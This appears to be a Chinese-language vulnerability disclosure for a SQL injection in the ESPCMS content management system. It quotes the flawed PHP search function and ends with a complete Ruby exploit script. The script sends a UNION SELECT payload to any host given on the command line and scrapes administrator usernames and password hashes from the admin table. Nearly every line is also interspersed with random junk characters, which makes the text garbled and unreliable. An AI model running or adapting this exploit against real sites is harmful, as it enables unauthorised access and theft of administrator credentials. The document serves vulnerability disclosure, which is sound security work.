0×0 漏洞概述0×1 漏洞细节; L1 B; `' @2 {1 j
0×2 PoC
5 Z, M/ t' a, o: b1 k7 k5 r2 w" {' d; N; c# X& z3 ]6 \
3 C* B: Z( {* e T- \
6 k- C I7 r5 N2 W0×0 漏洞概述4 f0 m, p, b& ~
% e6 }6 h, }( V- D9 R0 A/ Z0 ~
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
. \1 a6 r! p$ ]7 N/ }" Z# d其在处理传入的参数时考虑不严谨导致SQL注入发生( ^, }4 U( g- O1 S# W6 W3 V! T
7 g) |* \: v6 l4 B( I! w1 k, s) r0 ?8 x
0×1 漏洞细节1 i, P. Z5 d y; q. x5 S: B
* j M1 N. Y' E* B% N7 y- S变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
- w$ h3 J" |" H$ @$ B4 {正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。7 S$ u7 y: m5 \
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。0 `4 V; O3 G% ~ s& B
Y. f- k1 o! w; |8 l4 y% s; Q4 ]8 {在/interface/3gwap_search.php文件的in_result函数中:
7 U2 X7 V; V# J8 B! l. i: Z: ]5 x$ u6 Z) e& Q' B* s; F* ^1 z
' B+ \2 `0 L$ \% K
; z; D* y$ z% }9 b8 r" d5 J function in_result() {/ A0 T; i% ]3 I# a6 y" I$ x2 `
... ... ... ... ... ... ... ... ...
Q5 s( ?0 J# x5 d c $urlcode = $_SERVER[ 'QUERY_STRING '];- O* y' w% [4 P5 k5 E: s
parse_str(html_entity_decode($urlcode), $output);
& S) B( ^0 w: |2 V% P. d' X' F+ i" j( Y, E; s9 D4 k! g9 l
... ... ... ... ... ... ... ... ...
F2 W4 A' G1 _6 s$ j* b) ^ if (is_array($output['attr' ]) && count($output['attr']) > 0) { ?9 t5 V$ Y ?0 z( U- t; s
, v0 R* j7 ^+ k" w1 l. H
$db_table = db_prefix . 'model_att';
) n# s6 a: f# J7 B1 g% m( c7 V+ i
9 o9 R" t J% L( m% y0 ^! v0 w foreach ($output['attr' ] as $key => $value) {! p0 x1 @2 u2 o& W7 r( f" e+ R$ Z
if ($value) {( `* Q# d F* m4 T' F: l" n* f
; T1 n$ o0 A3 [
$key = addslashes($key);0 y0 ^ B9 j( a# S9 @; A3 H
$key = $this-> fun->inputcodetrim($key);
7 Y7 ]* V* w/ G) r/ ~/ m $db_att_where = " WHERE isclass=1 AND attrname='$key'";/ y( }* P7 b% e3 p/ G) w
$countnum = $this->db_numrows($db_table, $db_att_where);
% J- T4 W! R1 f if ($countnum > 0) {
. u" V; f/ ~) ?; Z+ | $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;5 h) t, i# ]& U) H- y
}' K" q) i/ q+ ]$ f# ?9 U- p6 f
}: O) z2 d; I/ }
}! F% J& N: b p5 M0 l3 Q( K
}
* j- v+ x# @: d2 W if (!empty ($keyword) && empty($keyname)) {4 U0 H' h9 C4 n1 c5 T) Q# N
$keyname = 'title';, y7 l2 {+ J' |) `# E" x8 u/ I
$db_where.= " AND a.title like '%$keyword%'" ;0 c# R& z$ F# B6 ^' P& d1 _5 B: W
} elseif (!empty ($keyword) && !empty($keyname)) {
% g5 H5 L1 l" [. V. n6 I $db_where.= " AND $keyname like '% $keyword%'";
) T% P& O n' y2 ~3 H0 S: o' O, y }) L: I; |2 i f
$pagemax = 15;" K- V" m% S4 l- s& {
4 Y) K/ G1 b8 U9 V6 b% [( ^0 v4 \
$pagesylte = 1;
" \7 f5 P# P, o, h) M( i6 K2 t$ e1 ?8 p
if ($countnum > 0) {
( B$ m& u n3 A8 s
. [' H$ I' O8 W9 L- ]3 S; a2 w $numpage = ceil($countnum / $pagemax);
& w$ w) ]7 C9 S- f$ R: L7 [ } else {6 ~$ B% u; H. ^
$numpage = 1;
' _) M I$ e3 M9 B, W" D1 j( j/ p }
& P8 A* u$ J8 P; k1 z! V $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
; [2 c3 E C# _; ] $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);6 Q4 Q: V; `& m4 l
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);" O0 D- @6 c' S6 W
... ... ... ... ... ... ... ... ...
3 d3 P; R) _# G& l+ ^5 G6 \2 N6 ? }
7 h8 u% V8 [% ?, n3 `# _: f) g8 W* N9 B! N
& i2 r P, L% c9 E! B4 \' l0×2 PoC A- _( p6 i# f/ |6 B; I
# g( e5 Q! G; c
% p! r) I8 R. U+ J3 `% q( j% t7 l: t; x) l4 }0 m$ w0 H
require "net/http"
; Y; _! k/ m" T8 L) D% X9 Z; y( y! Y0 X6 o7 z2 M' ^% k
def request(method, url)
% P" T% x* e A8 G: |, }* l4 e if method.eql?("get")% K" y+ Y' ^* [) s$ N9 l/ @8 q
uri = URI.parse(url)
4 |$ M; {& Q1 K+ B0 }) ^. w http = Net::HTTP.new(uri.host, uri.port)8 V: T8 x7 y& }
response = http.request(Net::HTTP::Get.new(uri.request_uri))- t! H& @! H' d9 q( y* l: v
return response. K8 X) C* i% Z+ t* g
end
5 X |" J$ `5 [2 K9 G2 Oend w6 r& Z0 [7 s6 X/ X
+ Z/ f* j5 g2 i. C: rdoc =<<HERE
3 D! ~3 L, l3 M7 ?9 s: h-------------------------------------------------------! y* L) T2 x. \# z
Espcms Injection Exploit* c9 ^7 f8 O" V- G9 E
Author:ztz9 u% `- d, ]8 |. @; u K, r& Y# g
Blog:http://ztz.fuzzexp.org/
+ A1 C0 h9 B) ~7 L5 u8 a0 o$ w5 t/ m-------------------------------------------------------( I1 T0 X( W' K
. P' m9 \* Y( {8 wHERE. c. ?, ]' r: M$ P; G- v
& O9 T, H8 D9 ~" wusage =<<HERE
$ G- h w8 a% [7 b. I( N+ hUsage: ruby #{$0} host port path% U2 U5 h6 Q2 I; a
example: ruby #{$0} www.target.com 80 /
2 o v0 P: q K4 h4 A9 WHERE
5 ?9 w9 [' {! H% q! v; L6 N
1 S# Z: z& Q+ T; ?# Iputs doc/ o1 ` ^$ l* E, J2 `
if ARGV.length < 3( p+ i( Y3 o, k
puts usage
; w5 p( @+ X+ e2 Selse
/ {5 S# N% ]: e$ M $host = ARGV[0]6 {4 {5 ?7 i5 R* A/ D/ P( g0 Y) \) i' p
$port = ARGV[1]7 _. L& @0 \8 ~' K0 b
$path = ARGV[2]
: l( c8 l0 @5 _6 n' S, h) E2 b4 E+ ~% Q/ b) K M4 J
puts "send request..."3 w3 h; r9 L. u7 P3 i
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
6 Z$ T+ v+ I; Wattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
+ F- p7 {7 ?2 |5 d0 `' M,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
' y( o% Y2 [. H' x! s) q,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
& k8 `3 |2 x+ c6 W response = request("get", url)/ } @3 z* J1 p
result = response.body.scan(/\w+&\w{32}/)5 l* k1 j) A* o" d' ~# D2 A! G6 @# Z. z
puts result
+ S4 U5 K+ N9 u5 Q C* Mend
( I; x; Q% U4 l2 G4 z
7 _' T% v, H4 [6 A3 { |